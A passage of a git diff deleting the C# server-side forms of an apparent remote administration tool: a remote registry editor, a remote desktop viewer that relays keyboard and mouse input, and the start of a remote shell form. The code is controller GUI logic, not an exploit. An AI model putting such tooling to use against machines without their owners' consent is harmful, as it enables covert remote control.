parent.Nodes.RemoveByKey(subKey); - }); - } - } - - public void RenameKeyFromTree(string rootKey, string oldName, string newName) - { - TreeNode parent = GetTreeNode(rootKey); - - //Make sure the key does exist - if (parent.Nodes.ContainsKey(oldName)) - { - int index = parent.Nodes.IndexOfKey(oldName); - - tvRegistryDirectory.Invoke((MethodInvoker)delegate - { - parent.Nodes[index].Text = newName; - parent.Nodes[index].Name = newName; - - //Make sure that the newly renamed node is selected - //To allow update in the listview - if (tvRegistryDirectory.SelectedNode == parent.Nodes[index]) - tvRegistryDirectory.SelectedNode = null; - - tvRegistryDirectory.SelectedNode = parent.Nodes[index]; - }); - } - } - - /// - /// Trys to find the desired TreeNode given the fullpath to it. - /// - /// The fullpath to the TreeNode. - /// Null if an invalid name is passed or the TreeNode could not be found; The TreeNode represented by the fullpath; - private TreeNode GetTreeNode(string path) - { - string[] nodePath = null; - if (path.Contains("\\")) - { - nodePath = path.Split(new char[] { '\\' }, StringSplitOptions.RemoveEmptyEntries); - - // Only one valid node. Probably malformed - if (nodePath.Length < 2) - return null; - } - else - { - //Is a root node - nodePath = new string[] { path }; - } - - // Keep track of the last node to reference for traversal. - TreeNode lastNode = null; - - if (tvRegistryDirectory.Nodes.ContainsKey(nodePath[0])) - { - lastNode = tvRegistryDirectory.Nodes[nodePath[0]]; - } - else - { - //Node is missing - return null; - } - - // Go through the rest of the node path. - for (int i = 1; i < nodePath.Length; i++) - { - if (lastNode.Nodes.ContainsKey(nodePath[i])) - { - lastNode = lastNode.Nodes[nodePath[i]]; - } - else - { - //Node is missing - return null; - } - } - return lastNode; - } - - #endregion - - #region Popup actions - - public void ShowErrorMessage(string errorMsg) - { - this.Invoke((MethodInvoker)delegate - { - MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); - }); - - } - - #endregion - - #region ListView Helpfunctions - - public void AddValueToList(string keyPath, RegValueData value) - { - TreeNode key = GetTreeNode(keyPath); - - if (key != null ) - { - lstRegistryKeys.Invoke((MethodInvoker)delegate - { - List ValuesFromNode = null; - if (key.Tag != null && key.Tag.GetType() == typeof(List)) { - ValuesFromNode = (List)key.Tag; - ValuesFromNode.Add(value); - } - else - { - //The tag has a incorrect element or is missing data - ValuesFromNode = new List(); - ValuesFromNode.Add(value); - key.Tag = ValuesFromNode; - } - - //Deactivate sorting - lstRegistryKeys.Sorting = SortOrder.None; - - if (tvRegistryDirectory.SelectedNode == key) - { - RegistryValueLstItem item = new RegistryValueLstItem(value.Name, value.GetKindAsString(), value.GetDataAsString()); - //unselect all - lstRegistryKeys.SelectedIndices.Clear(); - lstRegistryKeys.Items.Add(item); - item.Selected = true; - lstRegistryKeys.LabelEdit = true; - item.BeginEdit(); - } - else - { - tvRegistryDirectory.SelectedNode = key; - } - }); - } - } - - public void DeleteValueFromList(string keyPath, string valueName) - { - TreeNode key = GetTreeNode(keyPath); - - if (key != null) - { - lstRegistryKeys.Invoke((MethodInvoker)delegate - { - List ValuesFromNode = null; - if (key.Tag != null && key.Tag.GetType() == typeof(List)) - { - ValuesFromNode = (List)key.Tag; - ValuesFromNode.RemoveAll(value => value.Name == valueName); - } - else - { - //Tag has incorrect element or is missing data - key.Tag = new List(); - } - - if (tvRegistryDirectory.SelectedNode == key) - { - valueName = String.IsNullOrEmpty(valueName) ? DEFAULT_REG_VALUE : valueName; - lstRegistryKeys.Items.RemoveByKey(valueName); - } - else - { - tvRegistryDirectory.SelectedNode = key; - } - - }); - } - } - - public void RenameValueFromList(string keyPath, string oldName, string newName) - { - TreeNode key = GetTreeNode(keyPath); - - if (key != null) - { - lstRegistryKeys.Invoke((MethodInvoker)delegate - { - //Can only rename if the value exists in the tag - if (key.Tag != null && key.Tag.GetType() == typeof(List)) - { - List ValuesFromNode = (List)key.Tag; - var value = ValuesFromNode.Find(item => item.Name == oldName); - value.Name = newName; - - if (tvRegistryDirectory.SelectedNode == key) - { - var index = lstRegistryKeys.Items.IndexOfKey(oldName); - if (index != -1) - { - RegistryValueLstItem valueItem = (RegistryValueLstItem)lstRegistryKeys.Items[index]; - valueItem.RegName = newName; - } - } - else - { - tvRegistryDirectory.SelectedNode = key; - } - } - }); - } - } - - public void ChangeValueFromList(string keyPath, RegValueData value) - { - TreeNode key = GetTreeNode(keyPath); - - if (key != null) - { - lstRegistryKeys.Invoke((MethodInvoker)delegate - { - //Can only change if the value exists in the tag - if (key.Tag != null && key.Tag.GetType() == typeof(List)) - { - List ValuesFromNode = (List)key.Tag; - var regValue = ValuesFromNode.Find(item => item.Name == value.Name); - regValue.Data = value.Data; - - if (tvRegistryDirectory.SelectedNode == key) - { - //Make sure if it is a default value - string name = String.IsNullOrEmpty(value.Name) ? DEFAULT_REG_VALUE : value.Name; - var index = lstRegistryKeys.Items.IndexOfKey(name); - if (index != -1) - { - RegistryValueLstItem valueItem = (RegistryValueLstItem)lstRegistryKeys.Items[index]; - valueItem.Data = value.GetDataAsString(); - } - } - else - { - tvRegistryDirectory.SelectedNode = key; - } - } - }); - } - } - - private void UpdateLstRegistryKeys(TreeNode node) - { - selectedStripStatusLabel.Text = node.FullPath; - - List ValuesFromNode = null; - if (node.Tag != null && node.Tag.GetType() == typeof(List)) - { - ValuesFromNode = (List)node.Tag; - } - - PopulateLstRegistryKeys(ValuesFromNode); - } - - private void PopulateLstRegistryKeys(List values) - { - lstRegistryKeys.Items.Clear(); - - // Make sure that the passed values are usable - if (values != null && values.Count > 0) - { - foreach (var value in values) - { - RegistryValueLstItem item = new RegistryValueLstItem(value.Name, value.GetKindAsString(), value.GetDataAsString()); - lstRegistryKeys.Items.Add(item); - } - } - } - - #endregion - - #region tvRegistryDirectory Action - - private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e) - { - //No need to edit if it is null - if (e.Label != null) - { - //Prevent the change of the label - e.CancelEdit = true; - - if (e.Label.Length > 0) - { - if (e.Node.Parent.Nodes.ContainsKey(e.Label)) - { - //Prompt error - MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); - e.Node.BeginEdit(); - } - else - { - //Normal rename action - //Perform Rename action - new xServer.Core.Packets.ServerPackets.DoRenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label).Execute(_connectClient); - tvRegistryDirectory.LabelEdit = false; - } - } - else - { - //Prompt error - MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); - e.Node.BeginEdit(); - } - } - else - { - //Stop editing if no changes where made - tvRegistryDirectory.LabelEdit = false; - } - } - - private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEventArgs e) - { - // Before expansion of the node, prepare the first node with RegistryKeys. - TreeNode parentNode = e.Node; - - // If nothing is there (yet). - if (String.IsNullOrEmpty(parentNode.FirstNode.Name)) - { - tvRegistryDirectory.SuspendLayout(); - parentNode.Nodes.Clear(); - - // Send a packet to retrieve the data to use for the nodes. - new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(parentNode.FullPath).Execute(_connectClient); - - tvRegistryDirectory.ResumeLayout(); - //Cancel expand - e.Cancel = true; - } - } - - private void tvRegistryDirectory_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e) - { - if (tvRegistryDirectory.SelectedNode != e.Node) - { - //Select the clicked node - tvRegistryDirectory.SelectedNode = e.Node; - //Activate sorting - lstRegistryKeys.Sorting = SortOrder.Ascending; - } - - /* Enable delete and rename if not root node */ - SetDeleteAndRename(tvRegistryDirectory.SelectedNode.Parent != null); - - //Check if right click, and if so provide the contrext menu - if (e.Button == MouseButtons.Right) - { - Point pos = new Point(e.X, e.Y); - tv_ContextMenuStrip.Show(tvRegistryDirectory, pos); - } - } - - private void tvRegistryDirectory_BeforeSelect(object sender, TreeViewCancelEventArgs e) - { - if (e.Node != null) - { - UpdateLstRegistryKeys(e.Node); - } - } - - private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e) - { - if (e.KeyCode == Keys.Delete) - { - deleteRegistryKey_Click(this, e); - } - } - - #endregion - - #region ToolStrip Helpfunctions - - public void SetDeleteAndRename(bool enable) - { - this.deleteToolStripMenuItem.Enabled = enable; - this.renameToolStripMenuItem.Enabled = enable; - this.deleteToolStripMenuItem2.Enabled = enable; - this.renameToolStripMenuItem2.Enabled = enable; - } - - #endregion - - #region MenuStrip Action - - private void menuStripExit_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void menuStripDelete_Click(object sender, EventArgs e) { - if(tvRegistryDirectory.Focused) { - deleteRegistryKey_Click(this, e); - } - else if (lstRegistryKeys.Focused) { - deleteRegistryValue_Click(this, e); - } - } - - private void menuStripRename_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.Focused) - { - renameRegistryKey_Click(this, e); - } - else if (lstRegistryKeys.Focused) - { - renameRegistryValue_Click(this, e); - } - } - - #endregion - - #region lstRegistryKeys action - - private void lstRegistryKeys_MouseClick(object sender, MouseEventArgs e) - { - if (e.Button == MouseButtons.Right) - { - Point pos = new Point(e.X, e.Y); - //Try to check if a item was clicked - if (lstRegistryKeys.GetItemAt(pos.X, pos.Y) == null) - { - //Not on a item - lst_ContextMenuStrip.Show(lstRegistryKeys, pos); - } - else - { - //Clicked on a item - selectedItem_ContextMenuStrip.Show(lstRegistryKeys, pos); - } - } - } - - private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e) - { - if (e.Label != null && tvRegistryDirectory.SelectedNode != null) - { - //Prevent the change of the label - e.CancelEdit = true; - int index = e.Item; - - if (e.Label.Length > 0) - { - if (lstRegistryKeys.Items.ContainsKey(e.Label)) - { - //Prompt error - MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); - lstRegistryKeys.Items[index].BeginEdit(); - return; - } - - //Normal rename action - //Perform Rename action - new xServer.Core.Packets.ServerPackets.DoRenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, lstRegistryKeys.Items[index].Name, e.Label).Execute(_connectClient); - - lstRegistryKeys.LabelEdit = false; - } - else - { - //Prompt error - MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning); - lstRegistryKeys.Items[index].BeginEdit(); - - } - } - else - { - lstRegistryKeys.LabelEdit = false; - } - } - - private void lstRegistryKeys_ItemSelectionChanged(object sender, ListViewItemSelectionChangedEventArgs e) - { - modifyToolStripMenuItem.Enabled = lstRegistryKeys.SelectedItems.Count == 1; - modifyToolStripMenuItem1.Enabled = lstRegistryKeys.SelectedItems.Count == 1; - modifyBinaryDataToolStripMenuItem.Enabled = lstRegistryKeys.SelectedItems.Count == 1; - modifyBinaryDataToolStripMenuItem1.Enabled = lstRegistryKeys.SelectedItems.Count == 1; - - //Make sure that only one item selected and that the item is not a default - renameToolStripMenuItem1.Enabled = lstRegistryKeys.SelectedItems.Count == 1 && e.Item.Name != DEFAULT_REG_VALUE; - renameToolStripMenuItem2.Enabled = lstRegistryKeys.SelectedItems.Count == 1 && e.Item.Name != DEFAULT_REG_VALUE; - - deleteToolStripMenuItem2.Enabled = lstRegistryKeys.SelectedItems.Count > 0; - } - - private void lstRegistryKeys_KeyUp(object sender, KeyEventArgs e) - { - if (e.KeyCode == Keys.Delete) - { - deleteRegistryValue_Click(this, e); - } - } - - private void lstRegistryKeys_Enter(object sender, EventArgs e) - { - /* Make the modifers visible */ - modifyNewtoolStripSeparator.Visible = true; - - modifyToolStripMenuItem1.Visible = true; - modifyBinaryDataToolStripMenuItem1.Visible = true; - } - - private void lstRegistryKeys_Leave(object sender, EventArgs e) - { - /* Disable the modify functions (only avaliable for registry values) */ - modifyNewtoolStripSeparator.Visible = false; - - modifyToolStripMenuItem1.Visible = false; - modifyBinaryDataToolStripMenuItem1.Visible = false; - } - - #endregion - - #region ContextMenu - - private void createNewRegistryKey_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null) - { - if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0) - { - //Subscribe (wait for node to expand) - tvRegistryDirectory.AfterExpand += new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand); - tvRegistryDirectory.SelectedNode.Expand(); - } - else - { - //Try to create a new subkey - new xServer.Core.Packets.ServerPackets.DoCreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath).Execute(_connectClient); - } - } - } - - private void deleteRegistryKey_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null && tvRegistryDirectory.SelectedNode.Parent != null) - { - //Prompt user to confirm delete - string msg = "Are you sure you want to permanently delete this key and all of its subkeys?"; - string caption = "Confirm Key Delete"; - var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); - - if (answer == DialogResult.Yes) - { - string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath; - - new xServer.Core.Packets.ServerPackets.DoDeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name).Execute(_connectClient); - } - } - } - - private void renameRegistryKey_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null && tvRegistryDirectory.SelectedNode.Parent != null) - { - tvRegistryDirectory.LabelEdit = true; - tvRegistryDirectory.SelectedNode.BeginEdit(); - } - } - - #region New Registry Value - - private void createStringRegistryValue_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null) - { - //Request the creation of a new Registry value of type REG_SZ - new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.String).Execute(_connectClient); - } - } - - private void createBinaryRegistryValue_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null) - { - //Request the creation of a new Registry value of type REG_BINARY - new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.Binary).Execute(_connectClient); - } - } - - private void createDwordRegistryValue_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null) - { - //Request the creation of a new Registry value of type REG_DWORD - new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.DWord).Execute(_connectClient); - } - } - - private void createQwordRegistryValue_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null) - { - //Request the creation of a new Registry value of type REG_QWORD - new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.QWord).Execute(_connectClient); - } - } - - private void createMultiStringRegistryValue_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null) - { - //Request the creation of a new Registry value of type REG_MULTI_SZ - new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.MultiString).Execute(_connectClient); - } - } - - private void createExpandStringRegistryValue_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null) - { - //Request the creation of a new Registry value of type REG_EXPAND_SZ - new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.ExpandString).Execute(_connectClient); - } - } - - #endregion - - #region Registry Value edit - - private void deleteRegistryValue_Click(object sender, EventArgs e) - { - if(tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count > 0) { - //Prompt user to confirm delete - string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryKeys.SelectedItems.Count == 1 ? "this value?": "these values?"); - string caption = "Confirm Value Delete"; - var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); - - if (answer == DialogResult.Yes) - { - foreach (var item in lstRegistryKeys.SelectedItems) - { - if (item.GetType() == typeof(RegistryValueLstItem)) - { - RegistryValueLstItem registyValue = (RegistryValueLstItem)item; - new xServer.Core.Packets.ServerPackets.DoDeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registyValue.RegName).Execute(_connectClient); - } - } - } - } - } - - private void renameRegistryValue_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count == 1) - { - //Before edit make sure that it is not a default registry value - if (lstRegistryKeys.SelectedItems[0].Name != DEFAULT_REG_VALUE) - { - lstRegistryKeys.LabelEdit = true; - lstRegistryKeys.SelectedItems[0].BeginEdit(); - } - - } - } - - private void modifyRegistryValue_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count == 1) - { - if (tvRegistryDirectory.SelectedNode.Tag != null && tvRegistryDirectory.SelectedNode.Tag.GetType() == typeof(List)) - { - string keyPath = tvRegistryDirectory.SelectedNode.FullPath; - string name = lstRegistryKeys.SelectedItems[0].Name == DEFAULT_REG_VALUE ? "" : lstRegistryKeys.SelectedItems[0].Name; - RegValueData value = ((List)tvRegistryDirectory.SelectedNode.Tag).Find(item => item.Name == name); - - //Initialize the right form to allow editing - using (var frm = GetEditForm(keyPath, value, value.Kind)) - { - if(frm != null) - frm.ShowDialog(); - } - } - } - } - - private void modifyBinaryDataRegistryValue_Click(object sender, EventArgs e) - { - if (tvRegistryDirectory.SelectedNode != null && lstRegistryKeys.SelectedItems.Count == 1) - { - if (tvRegistryDirectory.SelectedNode.Tag != null && tvRegistryDirectory.SelectedNode.Tag.GetType() == typeof(List)) - { - string keyPath = tvRegistryDirectory.SelectedNode.FullPath; - string name = lstRegistryKeys.SelectedItems[0].Name == DEFAULT_REG_VALUE ? "" : lstRegistryKeys.SelectedItems[0].Name; - RegValueData value = ((List)tvRegistryDirectory.SelectedNode.Tag).Find(item => item.Name == name); - - //Initialize binary editor - using (var frm = GetEditForm(keyPath, value, RegistryValueKind.Binary)) - { - if (frm != null) - frm.ShowDialog(); - } - } - } - } - - #endregion - - #endregion - - #region Handlers - - private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) - { - if (e.Node == tvRegistryDirectory.SelectedNode) - { - //Trigger a click - createNewRegistryKey_Click(this, e); - - //Unsubscribe - tvRegistryDirectory.AfterExpand -= new System.Windows.Forms.TreeViewEventHandler(this.createRegistryKey_AfterExpand); - } - } - - //A special case for when the node was empty and add was performed before expand - private void specialCreateRegistryKey_AfterExpand(object sender, TreeViewEventArgs e) - { - if (e.Node == tvRegistryDirectory.SelectedNode) - { - tvRegistryDirectory.SelectedNode = tvRegistryDirectory.SelectedNode.FirstNode; - tvRegistryDirectory.LabelEdit = true; - - tvRegistryDirectory.SelectedNode.BeginEdit(); - - //Unsubscribe - tvRegistryDirectory.AfterExpand -= new System.Windows.Forms.TreeViewEventHandler(this.specialCreateRegistryKey_AfterExpand); - } - } - - #endregion - - #region Help function - - private Form GetEditForm(string keyPath, RegValueData value, RegistryValueKind valueKind) - { - switch (valueKind) - { - case RegistryValueKind.String: - case RegistryValueKind.ExpandString: - return new FrmRegValueEditString(keyPath, value, _connectClient); - case RegistryValueKind.DWord: - case RegistryValueKind.QWord: - return new FrmRegValueEditWord(keyPath, value, _connectClient); - case RegistryValueKind.MultiString: - return new FrmRegValueEditMultiString(keyPath, value, _connectClient); - case RegistryValueKind.Binary: - return new FrmRegValueEditBinary(keyPath, value, _connectClient); - default: - return null; - } - } - - #endregion - - } -} diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs deleted file mode 100644 index efbcaa82e..000000000 --- a/Server/Forms/FrmRemoteDesktop.cs +++ /dev/null @@ -1,392 +0,0 @@ -using System; -using System.Drawing; -using System.Windows.Forms; -using System.Collections.Generic; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Utilities; -using xServer.Core.MouseKeyHook; -using xServer.Enums; - -namespace xServer.Forms -{ - public partial class FrmRemoteDesktop : Form - { - public bool IsStarted { get; private set; } - private readonly Client _connectClient; - private bool _enableMouseInput; - private bool _enableKeyboardInput; - private IKeyboardMouseEvents _keyboardHook; - private IKeyboardMouseEvents _mouseHook; - private List _keysPressed; - - public FrmRemoteDesktop(Client c) - { - _connectClient = c; - _connectClient.Value.FrmRdp = this; - - SubscribeEvents(); - InitializeComponent(); - } - - private void FrmRemoteDesktop_Load(object sender, EventArgs e) - { - this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient); - - panelTop.Left = (this.Width / 2) - (panelTop.Width / 2); - - btnHide.Left = (panelTop.Width / 2) - (btnHide.Width / 2); - - btnShow.Location = new Point(377, 0); - btnShow.Left = (this.Width / 2) - (btnShow.Width / 2); - - _keysPressed = new List(); - - if (_connectClient.Value != null) - new Core.Packets.ServerPackets.GetMonitors().Execute(_connectClient); - } - - /// - /// Subscribes the local mouse and keyboard hooks. - /// - private void SubscribeEvents() - { - if (PlatformHelper.RunningOnMono) // Mono/Linux - { - this.KeyDown += OnKeyDown; - this.KeyUp += OnKeyUp; - } - else // Windows - { - _keyboardHook = Hook.GlobalEvents(); - _keyboardHook.KeyDown += OnKeyDown; - _keyboardHook.KeyUp += OnKeyUp; - - _mouseHook = Hook.AppEvents(); - _mouseHook.MouseWheel += OnMouseWheelMove; - } - } - - /// - /// Unsubscribes the local mouse and keyboard hooks. - /// - private void UnsubscribeEvents() - { - if (PlatformHelper.RunningOnMono) // Mono/Linux - { - this.KeyDown -= OnKeyDown; - this.KeyUp -= OnKeyUp; - } - else // Windows - { - if (_keyboardHook != null) - { - _keyboardHook.KeyDown -= OnKeyDown; - _keyboardHook.KeyUp -= OnKeyUp; - _keyboardHook.Dispose(); - } - if (_mouseHook != null) - { - _mouseHook.MouseWheel -= OnMouseWheelMove; - _mouseHook.Dispose(); - } - } - } - - public void AddMonitors(int monitors) - { - try - { - cbMonitors.Invoke((MethodInvoker)delegate - { - for (int i = 0; i < monitors; i++) - cbMonitors.Items.Add(string.Format("Monitor {0}", i + 1)); - cbMonitors.SelectedIndex = 0; - }); - } - catch (InvalidOperationException) - { - } - } - - public void UpdateImage(Bitmap bmp, bool cloneBitmap = false) - { - picDesktop.UpdateImage(bmp, cloneBitmap); - } - - private void _frameCounter_FrameUpdated(FrameUpdatedEventArgs e) - { - try - { - this.Invoke((MethodInvoker)delegate - { - this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00")); - }); - } - catch (InvalidOperationException) - { - } - } - - private void ToggleControls(bool t) - { - IsStarted = !t; - try - { - this.Invoke((MethodInvoker)delegate - { - btnStart.Enabled = t; - btnStop.Enabled = !t; - barQuality.Enabled = t; - }); - } - catch (InvalidOperationException) - { - } - } - - private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) - { - if (!picDesktop.IsDisposed && !picDesktop.Disposing) - picDesktop.Dispose(); - if (_connectClient.Value != null) - _connectClient.Value.FrmRdp = null; - - UnsubscribeEvents(); - } - - private void FrmRemoteDesktop_Resize(object sender, EventArgs e) - { - panelTop.Left = (this.Width/2) - (panelTop.Width/2); - btnShow.Left = (this.Width/2) - (btnShow.Width/2); - } - - private void btnStart_Click(object sender, EventArgs e) - { - if (cbMonitors.Items.Count == 0) - { - MessageBox.Show("No monitor detected.\nPlease wait till the client sends a list with available monitors.", - "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); - return; - } - - ToggleControls(false); - - picDesktop.Start(); - - // Subscribe to the new frame counter. - picDesktop.SetFrameUpdatedEvent(_frameCounter_FrameUpdated); - - this.ActiveControl = picDesktop; - - new Core.Packets.ServerPackets.GetDesktop(barQuality.Value, cbMonitors.SelectedIndex).Execute(_connectClient); - } - - private void btnStop_Click(object sender, EventArgs e) - { - ToggleControls(true); - - picDesktop.Stop(); - - // Unsubscribe from the frame counter. It will be re-created when starting again. - picDesktop.UnsetFrameUpdatedEvent(_frameCounter_FrameUpdated); - - this.ActiveControl = picDesktop; - } - - private void barQuality_Scroll(object sender, EventArgs e) - { - int value = barQuality.Value; - lblQualityShow.Text = value.ToString(); - - if (value < 25) - lblQualityShow.Text += " (low)"; - else if (value >= 85) - lblQualityShow.Text += " (best)"; - else if (value >= 75) - lblQualityShow.Text += " (high)"; - else if (value >= 25) - lblQualityShow.Text += " (mid)"; - - this.ActiveControl = picDesktop; - } - - private void btnMouse_Click(object sender, EventArgs e) - { - if (_enableMouseInput) - { - this.picDesktop.Cursor = Cursors.Default; - btnMouse.Image = Properties.Resources.mouse_delete; - toolTipButtons.SetToolTip(btnMouse, "Enable mouse input."); - _enableMouseInput = false; - } - else - { - this.picDesktop.Cursor = Cursors.Hand; - btnMouse.Image = Properties.Resources.mouse_add; - toolTipButtons.SetToolTip(btnMouse, "Disable mouse input."); - _enableMouseInput = true; - } - - this.ActiveControl = picDesktop; - } - - private void btnKeyboard_Click(object sender, EventArgs e) - { - if (_enableKeyboardInput) - { - this.picDesktop.Cursor = Cursors.Default; - btnKeyboard.Image = Properties.Resources.keyboard_delete; - toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input."); - _enableKeyboardInput = false; - } - else - { - this.picDesktop.Cursor = Cursors.Hand; - btnKeyboard.Image = Properties.Resources.keyboard_add; - toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input."); - _enableKeyboardInput = true; - } - - this.ActiveControl = picDesktop; - } - - private int GetRemoteWidth(int localX) - { - return localX * picDesktop.ScreenWidth / picDesktop.Width; - } - - private int GetRemoteHeight(int localY) - { - return localY * picDesktop.ScreenHeight / picDesktop.Height; - } - - private void picDesktop_MouseDown(object sender, MouseEventArgs e) - { - if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus) - { - int local_x = e.X; - int local_y = e.Y; - - int remote_x = GetRemoteWidth(local_x); - int remote_y = GetRemoteHeight(local_y); - - MouseAction action = MouseAction.None; - - if (e.Button == MouseButtons.Left) - action = MouseAction.LeftDown; - if (e.Button == MouseButtons.Right) - action = MouseAction.RightDown; - - int selectedMonitorIndex = cbMonitors.SelectedIndex; - - if (_connectClient != null) - new Core.Packets.ServerPackets.DoMouseEvent(action, true, remote_x, remote_y, selectedMonitorIndex).Execute(_connectClient); - } - } - - private void picDesktop_MouseUp(object sender, MouseEventArgs e) - { - if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus) - { - int local_x = e.X; - int local_y = e.Y; - - int remote_x = GetRemoteWidth(local_x); - int remote_y = GetRemoteHeight(local_y); - - MouseAction action = MouseAction.None; - - if (e.Button == MouseButtons.Left) - action = MouseAction.LeftDown; - if (e.Button == MouseButtons.Right) - action = MouseAction.RightDown; - - int selectedMonitorIndex = cbMonitors.SelectedIndex; - - if (_connectClient != null) - new Core.Packets.ServerPackets.DoMouseEvent(action, false, remote_x, remote_y, selectedMonitorIndex).Execute(_connectClient); - } - } - - private void picDesktop_MouseMove(object sender, MouseEventArgs e) - { - if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus) - { - int local_x = e.X; - int local_y = e.Y; - - int remote_x = GetRemoteWidth(local_x); - int remote_y = GetRemoteHeight(local_y); - - int selectedMonitorIndex = cbMonitors.SelectedIndex; - - if (_connectClient != null) - new Core.Packets.ServerPackets.DoMouseEvent(MouseAction.MoveCursor, false, remote_x, remote_y, selectedMonitorIndex).Execute(_connectClient); - } - } - - private void OnMouseWheelMove(object sender, MouseEventArgs e) - { - if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus) - { - if (_connectClient != null) - new Core.Packets.ServerPackets.DoMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown, false, 0, 0, cbMonitors.SelectedIndex).Execute(_connectClient); - } - } - - private void OnKeyDown(object sender, KeyEventArgs e) - { - if (picDesktop.Image != null && _enableKeyboardInput && IsStarted && this.ContainsFocus) - { - if (!IsLockKey(e.KeyCode)) - e.Handled = true; - - if (_keysPressed.Contains(e.KeyCode)) - return; - - _keysPressed.Add(e.KeyCode); - - if (_connectClient != null) - new Core.Packets.ServerPackets.DoKeyboardEvent((byte)e.KeyCode, true).Execute(_connectClient); - } - } - - private void OnKeyUp(object sender, KeyEventArgs e) - { - if (picDesktop.Image != null && _enableKeyboardInput && IsStarted && this.ContainsFocus) - { - if (!IsLockKey(e.KeyCode)) - e.Handled = true; - - _keysPressed.Remove(e.KeyCode); - - if (_connectClient != null) - new Core.Packets.ServerPackets.DoKeyboardEvent((byte)e.KeyCode, false).Execute(_connectClient); - } - } - - private bool IsLockKey(Keys key) - { - return ((key & Keys.CapsLock) == Keys.CapsLock) - || ((key & Keys.NumLock) == Keys.NumLock) - || ((key & Keys.Scroll) == Keys.Scroll); - } - - private void btnHide_Click(object sender, EventArgs e) - { - panelTop.Visible = false; - btnShow.Visible = true; - btnHide.Visible = false; - this.ActiveControl = picDesktop; - } - - private void btnShow_Click(object sender, EventArgs e) - { - panelTop.Visible = true; - btnShow.Visible = false; - btnHide.Visible = true; - this.ActiveControl = picDesktop; - } - } -} \ No newline at end of file diff --git a/Server/Forms/FrmRemoteShell.cs b/Server/Forms/FrmRemoteShell.cs deleted file mode 100644 index 2579eb4ac..000000000 --- a/Server/Forms/FrmRemoteShell.cs +++ /dev/null @@ -1,127 +0,0 @@ -using System; -using System.Windows.Forms; -using System.Drawing; -using xServer.Core.Helper; -using xServer.Core.Networking; - -namespace xServer.Forms -{ - public interface IRemoteShell - { - void PrintMessage(string message); - void PrintError(string errorMessage); - } - - public partial class FrmRemoteShell : Form, IRemoteShell - { - private readonly Client _connectClient; - - public FrmRemoteShell(Client c) - { - _connectClient = c; - _connectClient.Value.FrmRs 